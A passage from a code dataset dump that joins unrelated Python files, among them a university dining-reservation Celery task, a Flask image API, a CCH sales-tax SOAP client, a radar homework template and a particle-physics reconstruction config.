user_data.reserve_wednesday_lunch:\n chosen_days_lunch.append('چهارشنبه')\n if user_data.reserve_thursday_lunch:\n chosen_days_lunch.append('پنج شنبه')\n\n chosen_days_dinner = []\n\n if user_data.reserve_friday_dinner:\n chosen_days_dinner.append('جمعه')\n if user_data.reserve_saturday_dinner:\n chosen_days_dinner.append('شنبه')\n if user_data.reserve_sunday_dinner:\n chosen_days_dinner.append('یک شنبه')\n if user_data.reserve_monday_dinner:\n chosen_days_dinner.append('دوشنبه')\n if user_data.reserve_tuesday_dinner:\n chosen_days_dinner.append('سه شنبه')\n if user_data.reserve_wednesday_lunch:\n chosen_days_dinner.append('چهارشنبه')\n if user_data.reserve_thursday_dinner:\n chosen_days_dinner.append('پنج شنبه')\n\n for day in chosen_days_lunch:\n preferred_foods = []\n for dish in data_lunch[day]:\n if UserPreferableFood.objects.filter(~Q(score=0), user=user_data.user,\n food__name=dish[0].strip()):\n preferred_foods.append((dish[1], UserPreferableFood.objects.filter(\n user=user_data.user,\n food__name=dish[0])[0].score))\n preferred_foods.sort(key=lambda x: x[1], reverse=True)\n if preferred_foods:\n do_reserve(preferred_foods[0][0], self.self_id, user_id, cookie)\n\n for day in chosen_days_dinner:\n preferred_foods = []\n for dish in data_dinner[day]:\n if UserPreferableFood.objects.filter(~Q(score=0), user=user_data.user, food__name=dish[0]):\n preferred_foods.append((dish[1], UserPreferableFood.objects.filter(\n user=user_data.user,\n food__name=dish[0])[0].score))\n preferred_foods.sort(key=lambda x: x[1], reverse=True)\n if preferred_foods:\n do_reserve(preferred_foods[0][0], self.self_id, user_id, cookie)\n\n data_lunch, data_dinner, credit = get_reserved_table(user_data, user_id, cookie)\n\n date = str(jdatetime.date.today() + jdatetime.timedelta(3))\n date = re.sub(r'\\-', '/', date)\n saturdays_date = list()\n saturdays_date.append(date)\n saturdays_date = str(saturdays_date)\n\n filter = ReservedTable.objects.filter(user=user_data.user, week_start_date=saturdays_date)\n flag = True\n if not filter:\n reserved = ReservedTable()\n reserved.user = user_data.user\n\n reserved.week_start_date = saturdays_date\n\n reserved.friday_lunch = data_lunch['جمعه'][0]\n reserved.saturday_lunch = data_lunch['شنبه'][0]\n reserved.sunday_lunch = data_lunch['یک شنبه'][0]\n reserved.monday_lunch = data_lunch['دوشنبه'][0]\n reserved.tuesday_lunch = data_lunch['سه شنبه'][0]\n reserved.wednesday_lunch = data_lunch['چهارشنبه'][0]\n reserved.thursday_lunch = data_lunch['پنج شنبه'][0]\n\n reserved.friday_dinner = data_dinner['جمعه'][0]\n reserved.saturday_dinner = data_dinner['شنبه'][0]\n reserved.sunday_dinner = data_dinner['یک شنبه'][0]\n reserved.monday_dinner = data_dinner['دوشنبه'][0]\n reserved.tuesday_dinner = data_dinner['سه شنبه'][0]\n reserved.wednesday_dinner = data_dinner['چهارشنبه'][0]\n reserved.thursday_dinner = data_dinner['پنج شنبه'][0]\n\n reserved.credit = credit\n\n reserved.save()\n\n else:\n flag = False\n filter[0].friday_lunch = data_lunch['جمعه'][0]\n filter[0].saturday_lunch = data_lunch['شنبه'][0]\n filter[0].sunday_lunch = data_lunch['یک شنبه'][0]\n filter[0].monday_lunch = data_lunch['دوشنبه'][0]\n filter[0].tuesday_lunch = data_lunch['سه شنبه'][0]\n filter[0].wednesday_lunch = data_lunch['چهارشنبه'][0]\n filter[0].thursday_lunch = data_lunch['پنج شنبه'][0]\n\n filter[0].friday_dinner = data_dinner['جمعه'][0]\n filter[0].saturday_dinner = data_dinner['شنبه'][0]\n filter[0].sunday_dinner = data_dinner['یک شنبه'][0]\n filter[0].monday_dinner = data_dinner['دوشنبه'][0]\n filter[0].tuesday_dinner = data_dinner['سه شنبه'][0]\n filter[0].wednesday_dinner = data_dinner['چهارشنبه'][0]\n filter[0].thursday_dinner = data_dinner['پنج شنبه'][0]\n\n filter[0].credit = credit\n\n filter[0].save()\n\n if flag:\n try:\n telegram_table_message(user_data, data_lunch, data_dinner)\n except:\n continue\n","sub_path":"dining/tasks/reservation_sharif.py","file_name":"reservation_sharif.py","file_ext":"py","file_size_in_byte":18000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"633359863","text":"import cv2\nimport matplotlib.pyplot as plt\n\nimage = cv2.imread('images/NTNUME.png', cv2.IMREAD_GRAYSCALE)\n\nplt.imshow(image, cmap='gray')\nplt.axis('off')\nplt.show()\n\ncv2.imwrite('images/NTNUME_new.png', image)\n","sub_path":"Machine-Learning/Preprocessing-Images/code/Save-Images.py","file_name":"Save-Images.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113634270","text":"wid = int(input(\"Width: \"))\n\n#no. of lines will be double the width\n#each loop prints a line.\nfor i in range(wid *2):\n\n #first half of the diamond\n if i<=wid:\n no_of_spaces = wid - i\n no_of_stars = i\n print(\" \"*no_of_spaces + \"* \"*no_of_stars) \n\n #next half of the diamond\n else:\n no_of_spaces = i - wid\n no_of_stars = 2*wid - i\n print(\" \"*no_of_spaces + \"* \"*no_of_stars) \n","sub_path":"diamond.py","file_name":"diamond.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"170882239","text":"import json\nimport traceback\nfrom celery import Task\nfrom redis import Redis\nfrom celery_app import RESULT_POOL\nfrom celery._state import _task_stack\nfrom celery.utils.log import get_task_logger\nfrom backend.Model.connection import SESSION\nfrom backend.myBluePrint.ericic_v2.model.refresh_task_history_table import RefreshTaskHistoryModel\n\nlogger = get_task_logger(__name__)\n\n\nclass DBFreshBase(Task):\n #: Request class used, or the qualified name of one.\n Request = 'celeryFolder.taskModel.customer.db_refresh_request:DBRefreshRequest'\n\n def __call__(self, *args, **kwargs):\n request = self.request\n job_id = request.id\n db_session = SESSION()\n # the status of record always follows a linear change, so does not use the version\n try:\n db_session.query(RefreshTaskHistoryModel).filter(RefreshTaskHistoryModel.id == job_id).update(\n {'status': 'running'})\n db_session.commit()\n except:\n db_session.rollback()\n msg = traceback.format_exc()\n logger.info(msg)\n finally:\n db_session.close()\n _task_stack.push(self)\n self.push_request(args=args, kwargs=kwargs)\n try:\n return self.run(*args, **kwargs)\n finally:\n self.pop_request()\n _task_stack.pop()\n\n # task success call back\n def on_success(self, retval, task_id, *args, **kwargs):\n logger.info(f'task id:{task_id}, arg:{args}, successful!')\n self._self_call_back(task_id, 'successful')\n\n # task failure call back\n def on_failure(self, exc, task_id, *args, **kwargs):\n logger.info(f'task id:{task_id}, arg:{args}, failed! erros:{exc}')\n self._self_call_back(task_id, 'failed')\n\n # task retry call back\n def on_retry(self, exc, task_id, *args, **kwargs):\n logger.info(f'task id:{task_id}, arg:{args}, retry! einfo:{exc}')\n\n def _self_call_back(self, task_id, status):\n rds = Redis(connection_pool=RESULT_POOL)\n db_session = SESSION()\n try:\n res = rds.get('celery-task-meta-%s' % task_id)\n res = json.loads(res)\n error = res['traceback']\n db_session.query(RefreshTaskHistoryModel).filter(RefreshTaskHistoryModel.id == task_id).update({\n 'status': status,\n 'error_info': error\n })\n db_session.commit()\n rds.delete('celery-task-meta-%s' % task_id)\n except Exception as e:\n db_session.rollback()\n raise e\n # TaskHistoryModel()\n finally:\n rds.close()\n db_session.close()\n","sub_path":"gzbj/optimus_2.1/optimus/celeryFolder/taskModel/db_fresh/taskBase.py","file_name":"taskBase.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"616404235","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 20 15:34:24 2017\n\n@author: Lafungo\n\"\"\"\n\nimport datetime\n\nstart = datetime.datetime.now()\n\nf = open('p067_triangle.txt', 'r')\n\nnumbers = []\n\nfor line in f:\n numbers.append(line.strip().split())\n\nf.close()\n \nfor row in reversed(range(len(numbers) - 1)):\n for index in range(len(numbers[row])):\n numbers[row][index] = int(numbers[row][index]) + \\\n max([int(numbers[row + 1][index]), \n int(numbers[row + 1][index + 1])]) \n\nprint(numbers[0][0])\n\nend = datetime.datetime.now()\nprint(end - start)\n","sub_path":"p67.py","file_name":"p67.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"318741789","text":"import os;\nimport re;\n\ndef main():\n cl = 0;\n cf = \"\";\n numcheck = \"[^0-9]\";\n contents = [\"\"];\n proceed = True;\n while proceed == True:\n cltext = input();\n if cltext.startswith(\"\"):\n if os.path.exists(cf):\n for line in contents:\n print(line, end = \"\");\n else:\n print(\"That file does not exist!\");\n if cltext.startswith(\"\"):\n cf = input(\"Enter a filename here: \");\n if os.path.exists(cf):\n file = open(cf, \"r\");\n fcontents = file.readlines();\n file.close();\n for line in fcontents:\n print(line, end = \"\");\n else:\n print(\"That file does not exist!\");\n elif cltext.startswith(\"\"):\n if os.path.exists(cf):\n file = open(cf, \"a\");\n for line in range(len(contents)):\n file.write(contents[line]);\n file.close();\n elif cltext.startswith(\"\"):\n cf = input(\"Enter a filename here: \");\n file = open(cf, \"w\");\n file.write(\"\");\n file = open(cf, \"a\");\n for line in range(len(contents)):\n file.write(contents[line]);\n file.close();\n elif cltext.startswith(\"\"):\n for line in range(len(contents) - 1):\n print(str(line + 1) + \":\", contents[line], end = \"\");\n cl = input(\"Enter a line number here: \");\n if re.search(numcheck, cl):\n print(\"Invalid line number!\");\n else:\n cl = int(cl) - 1;\n if cl > len(contents):\n print(\"Invalid line number!\");\n else:\n contents[cl] = cltext + \"\\n\";\n contents.append(\"\");\n cl += 1;\n\nif __name__ == \"__main__\":\n main();\n","sub_path":"random/fedit.py","file_name":"fedit.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"570667951","text":"from nltk.corpus import stopwords \nfrom nltk.tokenize import word_tokenize \nexample_sentence = \"Hello world this is my first nltk program. This is word tokenization in which the we will seperate all the words\"\nstop_words = set(stopwords.words(\"english\")) # This will print some of the stop words in english lanaguage\nwords = word_tokenize(example_sentence)\nuseful_words = [] # All the words which are not stop words in our sentence\nfor w in words:\n if w not in stop_words:\n useful_words.append(w)\nprint(useful_words)","sub_path":"basics/stopwords.py","file_name":"stopwords.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"106825597","text":"import json\n\nimport pytest\n\nfrom burdock.restclient.models.project_run_details import ProjectRunDetails\n\n@pytest.mark.parametrize(\"project\", [{\"params\": {\"alpha\": .4}, \"uri\": \"https://github.com/mlflow/mlflow-example\"},\n {\"params\": {\"text\": \"this text\"}, \"uri\":\n \"./modules/module-example\"}])\ndef test_execute_run(client, project):\n details = ProjectRunDetails(params=json.dumps(project[\"params\"]),\n project_uri=project[\"uri\"])\n client.executerun(details)\n\n","sub_path":"tests/service/execute/test_smoke.py","file_name":"test_smoke.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"449498591","text":"#!flask/bin/python\nfrom upload_images import binary_to_image, get_db_collection\nfrom flask import Flask\nimport pandas as pd\n\n\napp = Flask(__name__)\n\n\n@app.route('/image/')\ndef get_image_by_md5(md5):\n image = get_db_collection(\"image_handler\").find_one({\"md5\": md5})\n if not image:\n raise FileNotFoundError(f\"Can not found image with md5 {md5}\")\n binary_to_image(image[\"original_image\"]).show()\n return \"200 ok\"\n\n\n@app.route('/monitoring')\ndef monitor_images():\n agg_status = get_db_collection(\"image_status\").aggregate(\n [\n {\n \"$group\":\n {\n \"_id\": {\n \"minutes\": {\n \"$dateToString\": {\n \"date\": \"$created_at\",\n \"format\": \"%Y-%m-%dT%H:%M\"\n }\n },\n \"error_status\": \"$with_error\"\n },\n \"number_event\": {\n \"$sum\": 1\n }\n }\n }\n ]\n )\n df_agg_status = pd.DataFrame(list(agg_status))\n print(df_agg_status)\n df_agg_status.plot.hist()\n return \"200 ok\"\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"src/core/api_image.py","file_name":"api_image.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525560753","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.2'\n# jupytext_version: 1.2.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# %% [markdown] {\"toc\": true}\n#

Table of Contents

\n#
\n\n# %% [markdown]\n# # Stull problem 8-A.10\n\n# %% [markdown]\n# Chapter 8-A10. Write a python function to find the beamwidth angle in degrees for a radar pulse\n# for the following sets of\n# [wavelength (cm) , antenna\n# dish diameter (m)]:\n#\n# a. [ 20, 8] b. [20, 10] c. [10, 10] d. [10, 5] e. [10, 3]\n# f. [5, 7] g. [5, 5] h. [5, 2] i. [5, 3] j. [3, 1]\n\n# %% {\"deletable\": false, \"nbgrader\": {\"cell_type\": \"code\", \"checksum\": \"f78f1384818ecfda9aeae223ea83ec88\", \"grade\": false, \"grade_id\": \"cell-76c7d3f2f1ade0a7\", \"locked\": false, \"schema_version\": 2, \"solution\": true}}\nimport numpy as np\nimport pytest\nimport json\n\n\ndef find_beamwidth(the_wavel, dish_size):\n \"\"\"\n find the beamwidth using Stulll eq. 8.13\n \n Parameters\n ----------\n \n the_wavel : wavelength (float)\n units (cm)\n \n dish_size : antenna dish diameter (float)\n units (m)\n \n Returns\n -------\n \n beamwidth : beamwidth angle \n units (degrees)\n \"\"\"\n #\n # Stull eq. 8.13\n #\n # YOUR CODE HERE\n raise NotImplementedError()\n\n\n# %%\n## my test for a10\n\n# %% {\"deletable\": false, \"editable\": false, \"nbgrader\": {\"cell_type\": \"code\", \"checksum\": \"b325d081ec1cf53fcfb189ecd9604c75\", \"grade\": true, \"grade_id\": \"cell-fd6801804d7e081b\", \"locked\": true, \"points\": 4, \"schema_version\": 2, \"solution\": false}}\nthe_wavel = [20, 20, 10, 10, 10, 5, 5, 5, 5, 3] # wavelength (cm)\ndish_size = [8, 10, 10, 5, 3, 7, 5, 2, 3, 1] # dishsize (meters)\ninput_vals = list(zip(the_wavel, dish_size))\nassert len(input_vals) == 10\nbeamwidth = [find_beamwidth(wavel, dish_size) for wavel, dish_size in input_vals]\n#\n# test the beamwidth values\n#\nanswer_file = \"ch8_a10_answer.json\"\nif Path(answer_file).is_file():\n with open(answer_file, \"r\") as f:\n answer = json.load(f)\n np.testing.assert_array_almost_equal(beamwidth, answer, decimal=3)\n\n\n# %% [raw]\n# # Stull problem 8-A.12\n#\n# Write a python function to find the range to a radar target, given the\n# round-trip (return) travel times (µs) of:\n#\n# a. 2 b. 5 c. 10 d. 25 e. 50\n# f. 75 g. 100 h. 150 i. 200 j. 300\n\n# %% {\"deletable\": false, \"nbgrader\": {\"cell_type\": \"code\", \"checksum\": \"219c6f3d2faccba6ef83fbf664329f6e\", \"grade\": false, \"grade_id\": \"cell-8bce491044638790\", \"locked\": false, \"schema_version\": 2, \"solution\": true}}\ndef find_range(delT):\n \"\"\"\n tind the range to radar using Stull eq. 8.16\n \n Parameters\n ----------\n \n delT: float\n the round-trip travel times (units: micro sec)\n \n Returns\n -------\n \n radar_range: float\n range from target to radar (units: km)\n \"\"\"\n\n # YOUR CODE HERE\n raise NotImplementedError()\n\n\n# %% [markdown]\n# ## my test for a12\n\n# %% {\"deletable\": false, \"editable\": false, \"nbgrader\": {\"cell_type\": \"code\", \"checksum\": \"f6408a71822220e4a6bfdb7ca4bb31c4\", \"grade\": true, \"grade_id\": \"cell-1fcb43fed3abde1d\", \"locked\": true, \"points\": 4, \"schema_version\": 2, \"solution\": false}}\nimport json\n\ntimes = [2, 5, 10, 25, 50, 75, 100, 150, 200, 300] # microseconds\nthe_range = [find_range(delT) for delT in times]\nassert len(times) == 10\nanswer_file = \"ch8_a12_answer.json\"\nif Path(answer_file).is_file():\n with open(answer_file, \"r\") as f:\n answer = json.load(f)\n np.testing.assert_array_almost_equal(the_range, answer, decimal=1)\n\n# %%\n","sub_path":"notebooks/python/stull_problems_a10_a12.py","file_name":"stull_problems_a10_a12.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"358767657","text":"import os\nfrom config import config\nfrom logger import get_logger\nfrom db import connect_to_db, close_connection\nfrom .process_song_file import process_song_file\nfrom .process_log_file import process_log_file\n\n\n# Config\nDATA_SONG = config['DATA']['DATA_SONG']\nDATA_LOG = config['DATA']['DATA_LOG']\n\n\n# Setup logger\nlogger = get_logger('PROCESS-DATA')\n\n\ndef process_data(path, func):\n logger.info(f\"Start processing '{path}' data\")\n\n files = [os.path.join(dirpath, filename) for (dirpath, dirnames, filenames) in os.walk(path) for filename in filenames if filenames]\n file_amount = len(files)\n\n logger.info(f\"'{file_amount}' files found in '{path}'\")\n\n conn = connect_to_db()\n\n for i, file in enumerate(files, 1):\n func(conn, file)\n \n logger.info(f'{i}/{file_amount} files processed.')\n\n close_connection(conn)\n logger.info(f\"Finish processing '{path}' data\")\n\n\ndef etl():\n process_data(DATA_SONG, process_song_file)\n process_data(DATA_LOG, process_log_file)\n ","sub_path":"etl/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"285298055","text":"from datetime import datetime\nfrom decimal import Decimal\nfrom . import exceptions, settings\nimport logging\nimport soap\n\nlogger = logging.getLogger(__name__)\n\nPOSTCODE_LEN = 5\nPLUS4_LEN = 4\n\n\nclass CCHTaxCalculator(object):\n \"\"\"\n Simple interface between Python and the CCH Sales Tax Office SOAP API.\n \"\"\"\n\n precision = settings.CCH_PRECISION\n wsdl = settings.CCH_WSDL\n entity_id = settings.CCH_ENTITY\n divsion_id = settings.CCH_DIVISION\n max_retries = settings.CCH_MAX_RETRIES\n\n def __init__(self, breaker=None):\n \"\"\"\n Construct a CCHTaxCalculator instance\n\n You may optionally supply a ``pybreaker.CircuitBreaker`` instance. If you do so, it will be used to\n implement the CircuitBreaker pattern around the SOAP calls to the CCH web service.\n\n :param breaker: Optional :class:`CircuitBreaker ` instance\n \"\"\"\n self.breaker = breaker\n\n def apply_taxes(self, shipping_address, basket=None, shipping_charge=None):\n \"\"\"\n Apply taxes to a Basket instance using the given shipping address.\n\n Pass return value of this method to :func:`OrderTaxation.save_details `\n to persist the taxation details, CCH transaction ID, etc in the database.\n\n :param shipping_address: :class:`ShippingAddress ` instance\n :param basket: :class:`Basket ` instance\n :param shipping_charge: :class:`ShippingCharge ` instance\n :return: SOAP Response.\n \"\"\"\n response = self._get_response(shipping_address, basket, shipping_charge)\n\n # Check the response for errors\n respOK = self._check_response_messages(response)\n if not respOK:\n response = None\n\n # Build map of line IDs to line tax details\n cch_line_map = {}\n if response and response.LineItemTaxes:\n cch_line_map = {\n item.ID: item for item in response.LineItemTaxes.LineItemTax\n }\n\n # Apply taxes to line items\n if basket is not None:\n for line in basket.all_lines():\n line_id = str(line.id)\n taxes = cch_line_map.get(line_id)\n self._apply_taxes_to_price(\n taxes, line.purchase_info.price, line.quantity\n )\n\n # Apply taxes to shipping charge\n if shipping_charge is not None:\n for shipping_charge_component in shipping_charge.components:\n shipping_taxes = cch_line_map.get(shipping_charge_component.cch_line_id)\n self._apply_taxes_to_price(shipping_taxes, shipping_charge_component, 1)\n\n # Return CCH response\n return response\n\n def _apply_taxes_to_price(self, taxes, price, quantity):\n # Taxes come in two forms: quantity and percentage based\n # We need to handle both of those here. The tricky part is that CCH returns data\n # for an entire line item (inclusive quantity), but Oscar needs the tax info for\n # each unit in the line (exclusive quantity). So, we use the details provided to\n # derive the per-unit taxes before applying them.\n price.clear_taxes()\n if taxes:\n for tax in taxes.TaxDetails.TaxDetail:\n unit_fee = Decimal(str(tax.FeeApplied)) / quantity\n unit_tax = Decimal(str(tax.TaxApplied)) / quantity\n price.add_tax(\n authority_name=tax.AuthorityName,\n tax_name=tax.TaxName,\n tax_applied=unit_tax,\n fee_applied=unit_fee,\n )\n # Check our work and make sure the total we arrived at matches the total CCH gave us\n total_line_tax = (price.tax * quantity).quantize(self.precision)\n total_applied_tax = Decimal(taxes.TotalTaxApplied).quantize(self.precision)\n if total_applied_tax != total_line_tax:\n raise RuntimeError(\n (\n \"Taxation miscalculation occurred! \"\n \"Details sum to %s, which doesn't match given sum of %s\"\n )\n % (total_line_tax, taxes.TotalTaxApplied)\n )\n else:\n price.tax = Decimal(\"0.00\")\n\n def _get_response(self, shipping_address, basket, shipping_charge):\n \"\"\"Fetch CCH tax data for the given basket and shipping address\"\"\"\n response = None\n retry_count = 0\n while response is None and retry_count <= self.max_retries:\n response = self._get_response_inner(\n shipping_address, basket, shipping_charge, retry_count=retry_count\n )\n retry_count += 1\n return response\n\n def _get_response_inner(\n self, shipping_address, basket, shipping_charge, retry_count\n ):\n response = None\n\n def _call_service():\n order = self._build_order(shipping_address, basket, shipping_charge)\n if order is None:\n return None\n response = self.client.service.CalculateRequest(\n self.entity_id, self.divsion_id, order\n )\n return response\n\n try:\n if self.breaker is not None:\n response = self.breaker.call(_call_service)\n else:\n response = _call_service()\n except Exception as e:\n logger.exception(e)\n return response\n\n def _check_response_messages(self, response):\n \"\"\"Raise an exception if response messages contains any reported errors.\"\"\"\n if response is None:\n return False\n if response.Messages:\n for message in response.Messages.Message:\n if message.Code > 0:\n exc = exceptions.build(message.Severity, message.Code, message.Info)\n logger.exception(exc)\n return False\n return True\n\n @property\n def client(self):\n \"\"\"Lazy constructor for SOAP client\"\"\"\n return soap.get_client(self.wsdl, \"CCH\")\n\n def _build_order(self, shipping_address, basket, shipping_charge):\n \"\"\"Convert an Oscar Basket and ShippingAddresss into a CCH Order object\"\"\"\n order = self.client.factory.create(\"ns15:Order\")\n order.InvoiceDate = datetime.now(settings.CCH_TIME_ZONE)\n order.SourceSystem = settings.CCH_SOURCE_SYSTEM\n order.TestTransaction = settings.CCH_TEST_TRANSACTIONS\n order.TransactionType = settings.CCH_TRANSACTION_TYPE\n order.CustomerType = settings.CCH_CUSTOMER_TYPE\n order.ProviderType = settings.CCH_PROVIDER_TYPE\n order.TransactionID = 0\n order.finalize = settings.CCH_FINALIZE_TRANSACTION\n\n # Add CCH lines for each basket line\n if basket is not None:\n for line in basket.all_lines():\n qty = getattr(line, \"cch_quantity\", line.quantity)\n if qty <= 0:\n continue\n # Line Info\n item = self.client.factory.create(\"ns11:LineItem\")\n item.ID = line.id\n item.AvgUnitPrice = Decimal(\n line.line_price_excl_tax_incl_discounts / qty\n ).quantize(Decimal(\"0.00001\"))\n item.Quantity = qty\n item.ExemptionCode = None\n item.SKU = self._get_product_data(\"sku\", line)\n # Product Info\n item.ProductInfo = self.client.factory.create(\"ns21:ProductInfo\")\n item.ProductInfo.ProductGroup = self._get_product_data(\"group\", line)\n item.ProductInfo.ProductItem = self._get_product_data(\"item\", line)\n # Ship From/To Addresses\n item.NexusInfo = self.client.factory.create(\"ns14:NexusInfo\")\n warehouse = line.stockrecord.partner.primary_address\n if warehouse:\n item.NexusInfo.ShipFromAddress = self._build_address(warehouse)\n item.NexusInfo.ShipToAddress = self._build_address(shipping_address)\n # Add line to order\n order.LineItems.LineItem.append(item)\n\n # Add CCH lines for shipping charges\n if shipping_charge is not None and settings.CCH_SHIPPING_TAXES_ENABLED:\n for shipping_charge_component in shipping_charge.components:\n shipping_line = self.client.factory.create(\"ns11:LineItem\")\n shipping_line.ID = shipping_charge_component.cch_line_id\n shipping_line.AvgUnitPrice = (\n shipping_charge_component.excl_tax.quantize(Decimal(\"0.00001\"))\n )\n shipping_line.Quantity = 1\n shipping_line.ExemptionCode = None\n shipping_line.SKU = shipping_charge_component.cch_sku\n shipping_line.NexusInfo = self.client.factory.create(\"ns14:NexusInfo\")\n shipping_line.NexusInfo.ShipToAddress = self._build_address(\n shipping_address\n )\n # Add shipping line to order\n order.LineItems.LineItem.append(shipping_line)\n\n # Must include at least 1 line item\n if len(order.LineItems.LineItem) <= 0:\n return None\n\n # Return order\n return order\n\n def _build_address(self, oscar_address):\n addr = self.client.factory.create(\"ns0:Address\")\n addr.Line1 = oscar_address.line1\n addr.Line2 = oscar_address.line2\n addr.City = oscar_address.city\n addr.StateOrProvince = oscar_address.state\n postcode, plus4 = self.format_postcode(oscar_address.postcode)\n addr.PostalCode = postcode\n addr.Plus4 = plus4\n addr.CountryCode = oscar_address.country.code\n return addr\n\n def _get_product_data(self, key, line):\n key = \"cch_product_%s\" % key\n sku = getattr(settings, key.upper())\n sku = getattr(line.product.attr, key.lower(), sku)\n return sku\n\n def format_postcode(self, raw_postcode):\n if not raw_postcode:\n return \"\", \"\"\n postcode, plus4 = raw_postcode[:POSTCODE_LEN], None\n # Set Plus4 if PostalCode provided as 9 digits separated by hyphen\n if len(raw_postcode) == POSTCODE_LEN + PLUS4_LEN + 1:\n plus4 = raw_postcode[POSTCODE_LEN + 1 :]\n return postcode, plus4\n","sub_path":"src/oscarcch/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":10545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"312172597","text":"#!/usr/bin/env python\n\nfrom Gaudi.Configuration import *\nfrom Configurables import K4DataSvc\ndsvc = K4DataSvc(\"EventDataSvc\")\n\n# read LCIO files\nfrom Configurables import LCIOInput\nread = LCIOInput(\"read\")\nread.inputs = [\n#\"/cefs/data/FullSim/CEPC240/CEPC_v4/higgs/smart_final_states/E240.Pffh_invi.e0.p0.whizard195//ffh_inv.e0.p0.00001_1000_sim.slcio\"\n#\"/junofs/users/wxfang/CEPC/CEPCOFF/doReco/reco_output/nnh_aa.e0.p0.00010_000000_rec.slcio\"\n\"/cefs/higgs/wxfang/cepc/Pandora/CaloDigi/gamma/Digi_sim_0.slcio\"\n]\nread.collections = {\n #\"COILCollection\" : \"SimTrackerHit\",\n #\"EcalBarrelSiliconCollection\" : \"SimCalorimeterHit\",\n \"MCParticle\" : \"MCParticle\",\n \"ECALBarrel\" : \"CalorimeterHit\",\n \"ECALEndcap\" : \"CalorimeterHit\",\n \"ECALOther\" : \"CalorimeterHit\",\n \"HCALBarrel\" : \"CalorimeterHit\",\n \"HCALEndcap\" : \"CalorimeterHit\",\n \"HCALOther\" : \"CalorimeterHit\",\n \"MUON\" : \"CalorimeterHit\",\n \"LCAL\" : \"CalorimeterHit\",\n \"LHCAL\" : \"CalorimeterHit\",\n \"BCAL\" : \"CalorimeterHit\",\n #\"MarlinTrkTracks\" : \"Track\"\n #\"TPCCollection\" : \"SimTrackerHit\",\n #\"VXDCollection\" : \"SimTrackerHit\"\n}\n##############################################################################\nfrom Configurables import GearSvc\ngearSvc = GearSvc(\"GearSvc\")\ngearSvc.GearXMLFile = \"/junofs/users/wxfang/CEPC/CEPCOFF/doSim/fullDet/GearOutput.xml\"\n##############################################################################\nfrom Configurables import PandoraPFAlg\n\npandoralg = PandoraPFAlg(\"PandoraPFAlg\")\n## KEEP same with lcioinput name for the ReadXXX ###########\npandoralg.ReadMCParticle = \"MCParticle\" \npandoralg.ReadECALBarrel = \"ECALBarrel\" \npandoralg.ReadECALEndcap = \"ECALEndcap\" \npandoralg.ReadECALOther = \"ECALOther\" \npandoralg.ReadHCALBarrel = \"HCALBarrel\" \npandoralg.ReadHCALEndcap = \"HCALEndcap\" \npandoralg.ReadHCALOther = \"HCALOther\" \npandoralg.ReadMUON = \"MUON\" \npandoralg.ReadLCAL = \"LCAL\" \npandoralg.ReadLHCAL = \"LHCAL\" \npandoralg.ReadBCAL = \"BCAL\" \npandoralg.ReadKinkVertices = \"KinkVertices\" \npandoralg.ReadProngVertices = \"ProngVertices\" \npandoralg.ReadSplitVertices = \"SplitVertices\" \npandoralg.ReadV0Vertices = \"V0Vertices\" \npandoralg.ReadTracks = \"MarlinTrkTracks\" \npandoralg.WriteClusterCollection = \"PandoraClusters\" \npandoralg.WriteReconstructedParticleCollection = \"PandoraPFOs\" \npandoralg.WriteVertexCollection = \"PandoraPFANewStartVertices\" \npandoralg.AnaOutput = \"/cefs/higgs/wxfang/cepc/Pandora/Ana/gamma/Ana_gamma_test.root\"\n\npandoralg.PandoraSettingsDefault_xml = \"/junofs/users/wxfang/MyGit/MarlinPandora/scripts/PandoraSettingsDefault_wx.xml\"\n#### Do not chage the collection name, only add or delete ###############\npandoralg.TrackCollections = [\"MarlinTrkTracks\"]\npandoralg.ECalCaloHitCollections= [\"ECALBarrel\", \"ECALEndcap\", \"ECALOther\"]\npandoralg.HCalCaloHitCollections= [\"HCALBarrel\", \"HCALEndcap\", \"HCALOther\"]\npandoralg.LCalCaloHitCollections= [\"LCAL\"]\npandoralg.LHCalCaloHitCollections= [\"LHCAL\"]\npandoralg.MuonCaloHitCollections= [\"MUON\"]\npandoralg.MCParticleCollections = [\"MCParticle\"]\npandoralg.RelCaloHitCollections = [\"RecoCaloAssociation_ECALBarrel\", \"RecoCaloAssociation_ECALEndcap\", \"RecoCaloAssociation_ECALOther\", \"RecoCaloAssociation_HCALBarrel\", \"RecoCaloAssociation_HCALEndcap\", \"RecoCaloAssociation_HCALOther\", \"RecoCaloAssociation_LCAL\", \"RecoCaloAssociation_LHCAL\", \"RecoCaloAssociation_MUON\"]\npandoralg.RelTrackCollections = 